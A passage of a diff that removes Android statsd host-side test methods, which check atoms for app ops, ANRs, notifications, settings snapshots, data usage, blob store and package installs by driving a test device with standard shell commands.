-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testAppOps");
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Pull a report
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        ArrayList<Integer> expectedOps = new ArrayList<>();
-        for (int i = 0; i < NUM_APP_OPS; i++) {
-            expectedOps.add(i);
-        }
-
-        for (Descriptors.EnumValueDescriptor valueDescriptor :
-                AttributedAppOps.getDefaultInstance().getOp().getDescriptorForType().getValues()) {
-            if (valueDescriptor.getOptions().hasDeprecated()) {
-                // Deprecated app op, remove from list of expected ones.
-                expectedOps.remove(expectedOps.indexOf(valueDescriptor.getNumber()));
-            }
-        }
-        for (Atom atom : getGaugeMetricDataList()) {
-
-            AppOps appOps = atom.getAppOps();
-            if (appOps.getPackageName().equals(TEST_PACKAGE_NAME)) {
-                if (appOps.getOpId().getNumber() == -1) {
-                    continue;
-                }
-                long totalNoted = appOps.getTrustedForegroundGrantedCount()
-                        + appOps.getTrustedBackgroundGrantedCount()
-                        + appOps.getTrustedForegroundRejectedCount()
-                        + appOps.getTrustedBackgroundRejectedCount();
-                assertWithMessage("Operation in APP_OPS_ENUM_MAP: " + appOps.getOpId().getNumber())
-                        .that(totalNoted - 1).isEqualTo(appOps.getOpId().getNumber());
-                assertWithMessage("Unexpected Op reported").that(expectedOps).contains(
-                        appOps.getOpId().getNumber());
-                expectedOps.remove(expectedOps.indexOf(appOps.getOpId().getNumber()));
-            }
-        }
-        assertWithMessage("Logging app op ids are missing in report.").that(expectedOps).isEmpty();
-    }
-
-    public void testANROccurred() throws Exception {
-        final int atomTag = Atom.ANR_OCCURRED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag, false);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        try (AutoCloseable a = withActivity("ANRActivity", null, null)) {
-            Thread.sleep(WAIT_TIME_SHORT);
-            getDevice().executeShellCommand(
-                    "am broadcast -a action_anr -p " + DEVICE_SIDE_TEST_PACKAGE);
-            Thread.sleep(20_000);
-        }
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertThat(data).hasSize(1);
-        assertThat(data.get(0).getAtom().hasAnrOccurred()).isTrue();
-        ANROccurred atom = data.get(0).getAtom().getAnrOccurred();
-        assertThat(atom.getIsInstantApp().getNumber())
-            .isEqualTo(ANROccurred.InstantApp.FALSE_VALUE);
-        assertThat(atom.getForegroundState().getNumber())
-            .isEqualTo(ANROccurred.ForegroundState.FOREGROUND_VALUE);
-        assertThat(atom.getErrorSource()).isEqualTo(ErrorSource.DATA_APP);
-        assertThat(atom.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-    }
-
-    public void testWriteRawTestAtom() throws Exception {
-        final int atomTag = Atom.TEST_ATOM_REPORTED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag, true);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWriteRawTestAtom");
-
-        Thread.sleep(WAIT_TIME_SHORT);
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-        assertThat(data).hasSize(4);
-
-        TestAtomReported atom = data.get(0).getAtom().getTestAtomReported();
-        List<AttributionNode> attrChain = atom.getAttributionNodeList();
-        assertThat(attrChain).hasSize(2);
-        assertThat(attrChain.get(0).getUid()).isEqualTo(1234);
-        assertThat(attrChain.get(0).getTag()).isEqualTo("tag1");
-        assertThat(attrChain.get(1).getUid()).isEqualTo(getUid());
-        assertThat(attrChain.get(1).getTag()).isEqualTo("tag2");
-
-        assertThat(atom.getIntField()).isEqualTo(42);
-        assertThat(atom.getLongField()).isEqualTo(Long.MAX_VALUE);
-        assertThat(atom.getFloatField()).isEqualTo(3.14f);
-        assertThat(atom.getStringField()).isEqualTo("This is a basic test!");
-        assertThat(atom.getBooleanField()).isFalse();
-        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.ON_VALUE);
-        assertThat(atom.getBytesField().getExperimentIdList())
-            .containsExactly(1L, 2L, 3L).inOrder();
-
-
-        atom = data.get(1).getAtom().getTestAtomReported();
-        attrChain = atom.getAttributionNodeList();
-        assertThat(attrChain).hasSize(2);
-        assertThat(attrChain.get(0).getUid()).isEqualTo(9999);
-        assertThat(attrChain.get(0).getTag()).isEqualTo("tag9999");
-        assertThat(attrChain.get(1).getUid()).isEqualTo(getUid());
-        assertThat(attrChain.get(1).getTag()).isEmpty();
-
-        assertThat(atom.getIntField()).isEqualTo(100);
-        assertThat(atom.getLongField()).isEqualTo(Long.MIN_VALUE);
-        assertThat(atom.getFloatField()).isEqualTo(-2.5f);
-        assertThat(atom.getStringField()).isEqualTo("Test null uid");
-        assertThat(atom.getBooleanField()).isTrue();
-        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.UNKNOWN_VALUE);
-        assertThat(atom.getBytesField().getExperimentIdList())
-            .containsExactly(1L, 2L, 3L).inOrder();
-
-        atom = data.get(2).getAtom().getTestAtomReported();
-        attrChain = atom.getAttributionNodeList();
-        assertThat(attrChain).hasSize(1);
-        assertThat(attrChain.get(0).getUid()).isEqualTo(getUid());
-        assertThat(attrChain.get(0).getTag()).isEqualTo("tag1");
-
-        assertThat(atom.getIntField()).isEqualTo(-256);
-        assertThat(atom.getLongField()).isEqualTo(-1234567890L);
-        assertThat(atom.getFloatField()).isEqualTo(42.01f);
-        assertThat(atom.getStringField()).isEqualTo("Test non chained");
-        assertThat(atom.getBooleanField()).isTrue();
-        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
-        assertThat(atom.getBytesField().getExperimentIdList())
-            .containsExactly(1L, 2L, 3L).inOrder();
-
-        atom = data.get(3).getAtom().getTestAtomReported();
-        attrChain = atom.getAttributionNodeList();
-        assertThat(attrChain).hasSize(1);
-        assertThat(attrChain.get(0).getUid()).isEqualTo(getUid());
-        assertThat(attrChain.get(0).getTag()).isEmpty();
-
-        assertThat(atom.getIntField()).isEqualTo(0);
-        assertThat(atom.getLongField()).isEqualTo(0L);
-        assertThat(atom.getFloatField()).isEqualTo(0f);
-        assertThat(atom.getStringField()).isEmpty();
-        assertThat(atom.getBooleanField()).isTrue();
-        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
-        assertThat(atom.getBytesField().getExperimentIdList()).isEmpty();
-    }
-
-    public void testNotificationPackagePreferenceExtraction() throws Exception {
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config,
-                    Atom.PACKAGE_NOTIFICATION_PREFERENCES_FIELD_NUMBER,
-                    null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        runActivity("StatsdCtsForegroundActivity", "action", "action.show_notification");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<PackageNotificationPreferences> allPreferences = new ArrayList<>();
-        for (Atom atom : getGaugeMetricDataList()){
-            if(atom.hasPackageNotificationPreferences()) {
-                allPreferences.add(atom.getPackageNotificationPreferences());
-            }
-        }
-        assertThat(allPreferences.size()).isGreaterThan(0);
-
-        boolean foundTestPackagePreferences = false;
-        int uid = getUid();
-        for (PackageNotificationPreferences pref : allPreferences) {
-            assertThat(pref.getUid()).isGreaterThan(0);
-            assertTrue(pref.hasImportance());
-            assertTrue(pref.hasVisibility());
-            assertTrue(pref.hasUserLockedFields());
-            if(pref.getUid() == uid){
-                assertThat(pref.getImportance()).isEqualTo(-1000);  //UNSPECIFIED_IMPORTANCE
-                assertThat(pref.getVisibility()).isEqualTo(-1000);  //UNSPECIFIED_VISIBILITY
-                foundTestPackagePreferences = true;
-            }
-        }
-        assertTrue(foundTestPackagePreferences);
-    }
-
-    public void testNotificationChannelPreferencesExtraction() throws Exception {
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config,
-                    Atom.PACKAGE_NOTIFICATION_CHANNEL_PREFERENCES_FIELD_NUMBER,
-                    null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        runActivity("StatsdCtsForegroundActivity", "action", "action.show_notification");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<PackageNotificationChannelPreferences> allChannelPreferences = new ArrayList<>();
-        for(Atom atom : getGaugeMetricDataList()) {
-            if (atom.hasPackageNotificationChannelPreferences()) {
-               allChannelPreferences.add(atom.getPackageNotificationChannelPreferences());
-            }
-        }
-        assertThat(allChannelPreferences.size()).isGreaterThan(0);
-
-        boolean foundTestPackagePreferences = false;
-        int uid = getUid();
-        for (PackageNotificationChannelPreferences pref : allChannelPreferences) {
-            assertThat(pref.getUid()).isGreaterThan(0);
-            assertTrue(pref.hasChannelId());
-            assertTrue(pref.hasChannelName());
-            assertTrue(pref.hasDescription());
-            assertTrue(pref.hasImportance());
-            assertTrue(pref.hasUserLockedFields());
-            assertTrue(pref.hasIsDeleted());
-            if(uid == pref.getUid() && pref.getChannelId().equals("StatsdCtsChannel")) {
-                assertThat(pref.getChannelName()).isEqualTo("Statsd Cts");
-                assertThat(pref.getDescription()).isEqualTo("Statsd Cts Channel");
-                assertThat(pref.getImportance()).isEqualTo(3);  // IMPORTANCE_DEFAULT
-                foundTestPackagePreferences = true;
-            }
-        }
-        assertTrue(foundTestPackagePreferences);
-    }
-
-    public void testNotificationChannelGroupPreferencesExtraction() throws Exception {
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config,
-                    Atom.PACKAGE_NOTIFICATION_CHANNEL_GROUP_PREFERENCES_FIELD_NUMBER,
-                    null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        runActivity("StatsdCtsForegroundActivity", "action", "action.create_channel_group");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<PackageNotificationChannelGroupPreferences> allGroupPreferences = new ArrayList<>();
-        for(Atom atom : getGaugeMetricDataList()) {
-            if (atom.hasPackageNotificationChannelGroupPreferences()) {
-                allGroupPreferences.add(atom.getPackageNotificationChannelGroupPreferences());
-            }
-        }
-        assertThat(allGroupPreferences.size()).isGreaterThan(0);
-
-        boolean foundTestPackagePreferences = false;
-        int uid = getUid();
-        for(PackageNotificationChannelGroupPreferences pref : allGroupPreferences) {
-            assertThat(pref.getUid()).isGreaterThan(0);
-            assertTrue(pref.hasGroupId());
-            assertTrue(pref.hasGroupName());
-            assertTrue(pref.hasDescription());
-            assertTrue(pref.hasIsBlocked());
-            assertTrue(pref.hasUserLockedFields());
-            if(uid == pref.getUid() && pref.getGroupId().equals("StatsdCtsGroup")) {
-                assertThat(pref.getGroupName()).isEqualTo("Statsd Cts Group");
-                assertThat(pref.getDescription()).isEqualTo("StatsdCtsGroup Description");
-                assertThat(pref.getIsBlocked()).isFalse();
-                foundTestPackagePreferences = true;
-            }
-        }
-        assertTrue(foundTestPackagePreferences);
-    }
-
-    public void testNotificationReported() throws Exception {
-        StatsdConfig.Builder config = getPulledConfig();
-        addAtomEvent(config, Atom.NOTIFICATION_REPORTED_FIELD_NUMBER,
-            Arrays.asList(createFvm(NotificationReported.PACKAGE_NAME_FIELD_NUMBER)
-                              .setEqString(DEVICE_SIDE_TEST_PACKAGE)));
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        runActivity("StatsdCtsForegroundActivity", "action", "action.show_notification");
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-        assertThat(data).hasSize(1);
-        assertThat(data.get(0).getAtom().hasNotificationReported()).isTrue();
-        AtomsProto.NotificationReported n = data.get(0).getAtom().getNotificationReported();
-        assertThat(n.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-        assertThat(n.getUid()).isEqualTo(getUid());
-        assertThat(n.getNotificationIdHash()).isEqualTo(1);  // smallHash(0x7f080001)
-        assertThat(n.getChannelIdHash()).isEqualTo(SmallHash.hash("StatsdCtsChannel"));
-        assertThat(n.getGroupIdHash()).isEqualTo(0);
-        assertFalse(n.getIsGroupSummary());
-        assertThat(n.getCategory()).isEmpty();
-        assertThat(n.getStyle()).isEqualTo(0);
-        assertThat(n.getNumPeople()).isEqualTo(0);
-    }
-
-    public void testSettingsStatsReported() throws Exception {
-        // Base64 encoded proto com.android.service.nano.StringListParamProto,
-        // which contains five strings 'low_power_trigger_level', 'preferred_network_mode1',
-        // 'preferred_network_mode1_int', 'wfc_ims_mode','zen_mode'
-        final String encoded =
-            "Chdsb3dfcG93ZXJfdHJpZ2dlcl9sZXZlbAoQd2ZjX2ltc19tb2RlID0gMgoXcHJlZmVycmVkX25ldHdvcmtfbW9kZTEKG3ByZWZlcnJlZF9uZXR3b3JrX21vZGUxX2ludAoIemVuX21vZGU";
-        final String network_mode1 = "preferred_network_mode1";
-
-        int originalNetworkMode;
-        try {
-            originalNetworkMode = Integer.parseInt(
-                getDevice().executeShellCommand("settings get global " + network_mode1));
-        } catch (NumberFormatException e) {
-            // The default value, zen mode is not enabled
-            originalNetworkMode = 0;
-        }
-
-        // Clear settings_stats device config.
-        Thread.sleep(WAIT_TIME_SHORT);
-        getDevice().executeShellCommand(
-            "device_config reset untrusted_clear settings_stats");
-        // Set whitelist through device config.
-        Thread.sleep(WAIT_TIME_SHORT);
-        getDevice().executeShellCommand(
-            "device_config put settings_stats GlobalFeature__integer_whitelist " + encoded);
-        Thread.sleep(WAIT_TIME_SHORT);
-        // Set network_mode1 value
-        getDevice().executeShellCommand("settings put global " + network_mode1 + " 15");
-
-        // Get SettingSnapshot as a simple gauge metric.
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.SETTING_SNAPSHOT_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Start test app and trigger a pull while it is running.
-        try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
-                "action.show_notification")) {
-            Thread.sleep(WAIT_TIME_SHORT);
-            // Trigger a pull and wait for new pull before killing the process.
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_LONG);
-        }
-
-        // Test the size of atoms. It should contain 5 atoms
-        List<Atom> atoms = getGaugeMetricDataList();
-        assertThat(atoms.size()).isEqualTo(5);
-        SettingSnapshot snapshot = null;
-        for (Atom atom : atoms) {
-            SettingSnapshot settingSnapshot = atom.getSettingSnapshot();
-            if (network_mode1.equals(settingSnapshot.getName())) {
-                snapshot = settingSnapshot;
-                break;
-            }
-        }
-
-        Thread.sleep(WAIT_TIME_SHORT);
-        // Test the data of atom.
-        assertNotNull(snapshot);
-        // Get setting value and test value type.
-        final int newNetworkMode = Integer.parseInt(
-            getDevice().executeShellCommand("settings get global " + network_mode1).trim());
-        assertThat(snapshot.getType()).isEqualTo(
-            SettingSnapshot.SettingsValueType.ASSIGNED_INT_TYPE);
-        assertThat(snapshot.getBoolValue()).isEqualTo(false);
-        assertThat(snapshot.getIntValue()).isEqualTo(newNetworkMode);
-        assertThat(snapshot.getFloatValue()).isEqualTo(0f);
-        assertThat(snapshot.getStrValue()).isEqualTo("");
-        assertThat(snapshot.getUserId()).isEqualTo(0);
-
-        // Restore the setting value.
-        getDevice().executeShellCommand(
-            "settings put global " + network_mode1 + " " + originalNetworkMode);
-    }
-
-    public void testIntegrityCheckAtomReportedDuringInstall() throws Exception {
-        createAndUploadConfig(AtomsProto.Atom.INTEGRITY_CHECK_RESULT_REPORTED_FIELD_NUMBER);
-
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        installTestApp();
-
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertThat(data.size()).isEqualTo(1);
-        assertThat(data.get(0).getAtom().hasIntegrityCheckResultReported()).isTrue();
-        IntegrityCheckResultReported result = data.get(0)
-                .getAtom().getIntegrityCheckResultReported();
-        assertThat(result.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-        // we do not assert on certificates since it seem to differ by device.
-        assertThat(result.getInstallerPackageName()).isEqualTo("adb");
-        assertThat(result.getVersionCode()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE_VERSION);
-        assertThat(result.getResponse()).isEqualTo(ALLOWED);
-        assertThat(result.getCausedByAppCertRule()).isFalse();
-        assertThat(result.getCausedByInstallerRule()).isFalse();
-    }
-
-    public void testMobileBytesTransfer() throws Throwable {
-        final int appUid = getUid();
-
-        // Verify MobileBytesTransfer, passing a ThrowingPredicate that verifies contents of
-        // corresponding atom type to prevent code duplication. The passed predicate returns
-        // true if the atom of appUid is found, false otherwise, and throws an exception if
-        // contents are not expected.
-        doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_FIELD_NUMBER, (atom) -> {
-            final AtomsProto.MobileBytesTransfer data = ((Atom) atom).getMobileBytesTransfer();
-            if (data.getUid() == appUid) {
-                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
-                        data.getRxPackets(), data.getTxPackets());
-                return true; // found
-            }
-            return false;
-        });
-    }
-
-    public void testMobileBytesTransferByFgBg() throws Throwable {
-        final int appUid = getUid();
-
-        doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_BY_FG_BG_FIELD_NUMBER, (atom) -> {
-            final AtomsProto.MobileBytesTransferByFgBg data =
-                    ((Atom) atom).getMobileBytesTransferByFgBg();
-            if (data.getUid() == appUid && data.getIsForeground()) {
-                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
-                        data.getRxPackets(), data.getTxPackets());
-                return true; // found
-            }
-            return false;
-        });
-    }
-
-    public void testDataUsageBytesTransfer() throws Throwable {
-        final boolean subtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
-
-        doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, (atom) -> {
-            final AtomsProto.DataUsageBytesTransfer data =
-                    ((Atom) atom).getDataUsageBytesTransfer();
-            if (data.getState() == 1 /*NetworkStats.SET_FOREGROUND*/) {
-                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
-                        data.getRxPackets(), data.getTxPackets());
-                // TODO: verify the RAT type field with the value gotten from device.
-                if (subtypeCombined) {
-                    assertThat(data.getRatType()).isEqualTo(
-                            NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
-                } else {
-                    assertThat(data.getRatType()).isGreaterThan(
-                            NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
-                }
-
-                // Assert that subscription info is valid.
-                assertThat(data.getSimMcc()).matches("^\\d{3}$");
-                assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
-                assertThat(data.getCarrierId()).isNotEqualTo(
-                        -1); // TelephonyManager#UNKNOWN_CARRIER_ID
-
-                return true; // found
-            }
-            return false;
-        });
-    }
-
-    // TODO(b/157651730): Determine how to test tag and metered state within atom.
-    public void testBytesTransferByTagAndMetered() throws Throwable {
-        final int appUid = getUid();
-        final int atomId = Atom.BYTES_TRANSFER_BY_TAG_AND_METERED_FIELD_NUMBER;
-
-        doTestMobileBytesTransferThat(atomId, (atom) -> {
-            final AtomsProto.BytesTransferByTagAndMetered data =
-                    ((Atom) atom).getBytesTransferByTagAndMetered();
-            if (data.getUid() == appUid && data.getTag() == 0 /*app traffic generated on tag 0*/) {
-                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
-                        data.getRxPackets(), data.getTxPackets());
-                return true; // found
-            }
-            return false;
-        });
-    }
-
-    public void testIsolatedToHostUidMapping() throws Exception {
-        createAndUploadConfig(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER, /*useAttribution=*/false);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Create an isolated service from which An AppBreadcrumbReported atom is written.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testIsolatedProcessService");
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertThat(data).hasSize(1);
-        AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
-        assertThat(atom.getUid()).isEqualTo(getUid());
-        assertThat(atom.getLabel()).isEqualTo(0);
-        assertThat(atom.getState()).isEqualTo(AppBreadcrumbReported.State.START);
-    }
-
-    public void testPushedBlobStoreStats() throws Exception {
-        StatsdConfig.Builder conf = createConfigBuilder();
-        addAtomEvent(conf, Atom.BLOB_COMMITTED_FIELD_NUMBER, false);
-        addAtomEvent(conf, Atom.BLOB_LEASED_FIELD_NUMBER, false);
-        addAtomEvent(conf, Atom.BLOB_OPENED_FIELD_NUMBER, false);
-        uploadConfig(conf);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testBlobStore");
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertThat(data).hasSize(3);
-
-        BlobCommitted blobCommitted = data.get(0).getAtom().getBlobCommitted();
-        final long blobId = blobCommitted.getBlobId();
-        final long blobSize = blobCommitted.getSize();
-        assertThat(blobCommitted.getUid()).isEqualTo(getUid());
-        assertThat(blobId).isNotEqualTo(0);
-        assertThat(blobSize).isNotEqualTo(0);
-        assertThat(blobCommitted.getResult()).isEqualTo(BlobCommitted.Result.SUCCESS);
-
-        BlobLeased blobLeased = data.get(1).getAtom().getBlobLeased();
-        assertThat(blobLeased.getUid()).isEqualTo(getUid());
-        assertThat(blobLeased.getBlobId()).isEqualTo(blobId);
-        assertThat(blobLeased.getSize()).isEqualTo(blobSize);
-        assertThat(blobLeased.getResult()).isEqualTo(BlobLeased.Result.SUCCESS);
-
-        BlobOpened blobOpened = data.get(2).getAtom().getBlobOpened();
-        assertThat(blobOpened.getUid()).isEqualTo(getUid());
-        assertThat(blobOpened.getBlobId()).isEqualTo(blobId);
-        assertThat(blobOpened.getSize()).isEqualTo(blobSize);
-        assertThat(blobOpened.getResult()).isEqualTo(BlobOpened.Result.SUCCESS);
-    }
-
-    // Constants that match the constants for AtomTests#testBlobStore
-    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
-    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
-    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
-    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
-
-    public void testPulledBlobStoreStats() throws Exception {
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config,
-                Atom.BLOB_INFO_FIELD_NUMBER,
-                null);
-        uploadConfig(config);
-
-        final long testStartTimeMs = System.currentTimeMillis();
-        Thread.sleep(WAIT_TIME_SHORT);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testBlobStore");
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Add commit callback time to test end time to account for async execution
-        final long testEndTimeMs =
-                System.currentTimeMillis() + BLOB_COMMIT_CALLBACK_TIMEOUT_SEC * 1000;
-
-        // Find the BlobInfo for the blob created in the test run
-        AtomsProto.BlobInfo blobInfo = null;
-        for (Atom atom : getGaugeMetricDataList()) {
-            if (atom.hasBlobInfo()) {
-                final AtomsProto.BlobInfo temp = atom.getBlobInfo();
-                if (temp.getCommitters().getCommitter(0).getUid() == getUid()) {
-                    blobInfo = temp;
-                    break;
-                }
-            }
-        }
-        assertThat(blobInfo).isNotNull();
-
-        assertThat(blobInfo.getSize()).isEqualTo(BLOB_FILE_SIZE_BYTES);
-
-        // Check that expiry time is reasonable
-        assertThat(blobInfo.getExpiryTimestampMillis()).isGreaterThan(
-                testStartTimeMs + BLOB_EXPIRY_DURATION_MS);
-        assertThat(blobInfo.getExpiryTimestampMillis()).isLessThan(
-                testEndTimeMs + BLOB_EXPIRY_DURATION_MS);
-
-        // Check that commit time is reasonable
-        final long commitTimeMs = blobInfo.getCommitters().getCommitter(
-                0).getCommitTimestampMillis();
-        assertThat(commitTimeMs).isGreaterThan(testStartTimeMs);
-        assertThat(commitTimeMs).isLessThan(testEndTimeMs);
-
-        // Check that WHITELIST and PRIVATE access mode flags are set
-        assertThat(blobInfo.getCommitters().getCommitter(0).getAccessMode()).isEqualTo(0b1001);
-        assertThat(blobInfo.getCommitters().getCommitter(0).getNumWhitelistedPackage()).isEqualTo(
-                1);
-
-        assertThat(blobInfo.getLeasees().getLeaseeCount()).isGreaterThan(0);
-        assertThat(blobInfo.getLeasees().getLeasee(0).getUid()).isEqualTo(getUid());
-
-        // Check that lease expiry time is reasonable
-        final long leaseExpiryMs = blobInfo.getLeasees().getLeasee(
-                0).getLeaseExpiryTimestampMillis();
-        assertThat(leaseExpiryMs).isGreaterThan(testStartTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
-        assertThat(leaseExpiryMs).isLessThan(testEndTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
-    }
-
-    private void assertDataUsageAtomDataExpected(long rxb, long txb, long rxp, long txp) {
-        assertThat(rxb).isGreaterThan(0L);
-        assertThat(txb).isGreaterThan(0L);
-        assertThat(rxp).isGreaterThan(0L);
-        assertThat(txp).isGreaterThan(0L);
-    }
-
-    private void doTestMobileBytesTransferThat(int atomTag, ThrowingPredicate p)
-            throws Throwable {
-        if (!hasFeature(FEATURE_TELEPHONY, true)) return;
-
-        // Get MobileBytesTransfer as a simple gauge metric.
-        final StatsdConfig.Builder config = getPulledConfig();
-        addGaugeAtomWithDimensions(config, atomTag, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Generate some traffic on mobile network.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testGenerateMobileTraffic");
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Force polling NetworkStatsService to get most updated network stats from lower layer.
-        runActivity("StatsdCtsForegroundActivity", "action", "action.poll_network_stats");
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Pull a report
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final List<Atom> atoms = getGaugeMetricDataList(/*checkTimestampTruncated=*/true);
-        assertThat(atoms.size()).isAtLeast(1);
-
-        boolean foundAppStats = false;
-        for (final Atom atom : atoms) {
-            if (p.accept(atom)) {
-                foundAppStats = true;
-            }
-        }
-        assertWithMessage("uid " + getUid() + " is not found in " + atoms.size() + " atoms")
-                .that(foundAppStats).isTrue();
-    }
-
-    @FunctionalInterface
-    private interface ThrowingPredicate<S, T extends Throwable> {
-        boolean accept(S s) throws T;
-    }
-
-    public void testPackageInstallerV2MetricsReported() throws Throwable {
-        if (!hasFeature(FEATURE_INCREMENTAL_DELIVERY, true)) return;
-        final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
-                new String[]{TEST_INSTALL_APK});
-        assertTrue(report.getIsIncremental());
-        // tests are ran using SHELL_UID and installation will be treated as adb install
-        assertEquals("", report.getPackageName());
-        assertEquals(1, report.getReturnCode());
-        assertTrue(report.getDurationMillis() > 0);
-        assertEquals(getTestFileSize(TEST_INSTALL_APK), report.getApksSizeBytes());
-
-        getDevice().uninstallPackage(TEST_INSTALL_PACKAGE);
-    }
-
-    public void testPackageInstallerV2MetricsReportedForSplits() throws Throwable {
-        if (!hasFeature(FEATURE_INCREMENTAL_DELIVERY, true)) return;
-
-        final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
-                new String[]{TEST_INSTALL_APK_BASE, TEST_INSTALL_APK_SPLIT});
-        assertTrue(report.getIsIncremental());
-        // tests are ran using SHELL_UID and installation will be treated as adb install
-        assertEquals("", report.getPackageName());
-        assertEquals(1, report.getReturnCode());
-        assertTrue(report.getDurationMillis() > 0);
-        assertEquals(
-                getTestFileSize(TEST_INSTALL_APK_BASE) + getTestFileSize(TEST_INSTALL_APK_SPLIT),
-                report.getApksSizeBytes());
-
-        getDevice().uninstallPackage(TEST_INSTALL_PACKAGE);
-    }
-
-    public void testAppForegroundBackground() throws Exception {
-        Set<Integer> onStates = new HashSet<>(Arrays.asList(
-                AppUsageEventOccurred.EventType.MOVE_TO_FOREGROUND_VALUE));
-        Set<Integer> offStates = new HashSet<>(Arrays.asList(
-                AppUsageEventOccurred.EventType.MOVE_TO_BACKGROUND_VALUE));
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
-        createAndUploadConfig(Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, false);  // False: does not use attribution.
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
-
-        getDevice().executeShellCommand(String.format(
-            "am start -n '%s' -e %s %s",
-            "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity",
-            "action", ACTION_SHOW_APPLICATION_OVERLAY));
-        final int waitTime = EXTRA_WAIT_TIME_MS + 5_000; // Overlay may need to sit there a while.
-        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        Function<Atom, Integer> appUsageStateFunction = atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
-        popUntilFind(data, onStates, appUsageStateFunction); // clear out initial appusage states.
-        assertStatesOccurred(stateSet, data, 0, appUsageStateFunction);
-    }
-
